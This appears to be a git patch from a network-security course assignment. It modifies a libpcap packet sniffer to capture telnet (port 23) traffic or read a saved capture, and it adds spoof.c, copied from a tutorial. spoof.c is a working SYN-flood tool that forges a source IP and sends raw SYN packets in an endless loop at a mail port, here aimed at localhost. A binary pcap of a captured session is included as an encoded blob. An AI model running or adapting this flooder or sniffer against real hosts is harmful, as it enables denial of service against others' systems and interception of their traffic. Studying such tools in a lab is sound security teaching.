From 2dc7015d7a163664e48beed47e9f7604fd5391d1 Mon Sep 17 00:00:00 2001 From: Alex Huddleston Date: Fri, 2 Feb 2018 22:34:56 -0600 Subject: [PATCH] Modified sniffex.c to fit assignment specifications. Added spoof.c from a spoofing tutorial. --- sniffex.c | 28 +++++++++++---- spoof.c | 96 +++++++++++++++++++++++++++++++++++++++++++++++++ tfsession.pcap | Bin 0 -> 163752 bytes 3 files changed, 117 insertions(+), 7 deletions(-) create mode 100644 spoof.c create mode 100644 tfsession.pcap diff --git a/sniffex.c b/sniffex.c index e968583..e88e886 100644 --- a/sniffex.c +++ b/sniffex.c @@ -507,7 +507,7 @@ int main(int argc, char **argv) char errbuf[PCAP_ERRBUF_SIZE]; /* error buffer */ pcap_t *handle; /* packet capture handle */ - char filter_exp[] = "dst portrange 10-100 and tcp"; /* filter expression [3] */ + char filter_exp[] = "port 23"; /* filter expression [3] */ struct bpf_program fp; /* compiled filter program (expression) */ bpf_u_int32 mask; /* subnet mask */ bpf_u_int32 net; /* ip */ @@ -515,11 +515,19 @@ int main(int argc, char **argv) print_app_banner(); + // Check if file arg is passed. + int read_file = 0; + /* check for capture device name on command-line */ if (argc == 2) { - dev = argv[1]; + dev = argv[1]; } - else if (argc > 2) { + else if (argc == 3) { + if (!strcmp(argv[1], "file")) { + read_file = 1; + } + } + else if (argc > 3) { fprintf(stderr, "error: unrecognized command-line options\n\n"); print_app_usage(); exit(EXIT_FAILURE); @@ -547,8 +555,14 @@ int main(int argc, char **argv) printf("Number of packets: %d\n", num_packets); printf("Filter expression: %s\n", filter_exp); - /* open capture device */ - handle = pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf); + if (read_file) { + printf("%s\n", argv[2]); + handle = pcap_open_offline(argv[2], errbuf); + } + else { + /* open capture device */ + handle = pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf); + } if (handle == NULL) { fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf); exit(EXIT_FAILURE); @@ -574,8 +588,8 @@ int main(int argc, char **argv) exit(EXIT_FAILURE); } - /* now we can set our callback function */ - pcap_loop(handle, num_packets, got_packet, NULL); + /* now we can set our callback function */ + pcap_loop(handle, num_packets, got_packet, NULL); /* cleanup */ pcap_freecode(&fp); diff --git a/spoof.c b/spoof.c new file mode 100644 index 0000000..a5f60bc --- /dev/null +++ b/spoof.c @@ -0,0 +1,96 @@ +#define __USE_BSD /* use bsd'ish ip header */ +#include /* these headers are for a Linux system, but */ +#include /* the names on other systems are easy to guess.. */ +#include +#define __FAVOR_BSD /* use bsd'ish tcp header */ +#include +#include +#include +#include + +#define P 25 /* lets flood the sendmail port */ + +unsigned short /* this function generates header checksums */ +csum (unsigned short *buf, int nwords) +{ + unsigned long sum; + for (sum = 0; nwords > 0; nwords--) + sum += *buf++; + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + return ~sum; +} + +int +main (void) +{ + int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */ + char datagram[4096]; /* this buffer will contain ip header, tcp header, + and payload. we'll point an ip header structure + at its beginning, and a tcp header structure after + that to write the header values into it */ + struct ip *iph = (struct ip *) datagram; + struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip); + struct sockaddr_in sin; + /* the sockaddr_in containing the dest. address is used + in sendto() to determine the datagrams path */ + + sin.sin_family = AF_INET; + sin.sin_port = htons (P);/* you byte-order >1byte header values to network + byte order (not needed on big endian machines) */ + sin.sin_addr.s_addr = inet_addr ("127.0.0.1"); + + memset (datagram, 0, 4096); /* zero out the buffer */ + +/* we'll now fill in the ip/tcp header values, see above for explanations */ + iph->ip_hl = 5; + iph->ip_v = 4; + iph->ip_tos = 0; + iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */ + iph->ip_id = htonl (54321); /* the value doesn't matter here */ + iph->ip_off = 0; + iph->ip_ttl = 255; + iph->ip_p = 6; + iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */ + iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */ + iph->ip_dst.s_addr = sin.sin_addr.s_addr; + tcph->th_sport = htons (1234); /* arbitrary port */ + tcph->th_dport = htons (P); + tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */ + tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */ + tcph->th_x2 = 0; + tcph->th_off = 0; /* first and only tcp segment */ + tcph->th_flags = TH_SYN; /* initial connection request */ + tcph->th_win = htonl (65535); /* maximum allowed window size */ + tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack + should fill in the correct checksum during transmission */ + tcph->th_urp = 0; + + iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); + +/* finally, it is very advisable to do a IP_HDRINCL call, to make sure + that the kernel knows the header is included in the data, and doesn't + insert its own header into the packet before our data */ + + { /* lets do it the ugly way.. */ + int one = 1; + const int *val = &one; + if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) + printf ("Warning: Cannot set HDRINCL!\n"); + } + + while (1) + { + if (sendto (s, /* our socket */ + datagram, /* the buffer containing headers and data */ + iph->ip_len, /* total length of our datagram */ + 0, /* routing flags, normally always 0 */ + (struct sockaddr *) &sin, /* socket addr, just like in */ + sizeof (sin)) < 0) /* a normal send() */ + printf ("error\n"); + else + printf ("."); + } + + return 0; +} diff --git a/tfsession.pcap b/tfsession.pcap new file mode 100644 index 0000000000000000000000000000000000000000..5a48535321a4c31fe3ff15bd833baf82dccc1cab GIT binary patch literal 163752 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 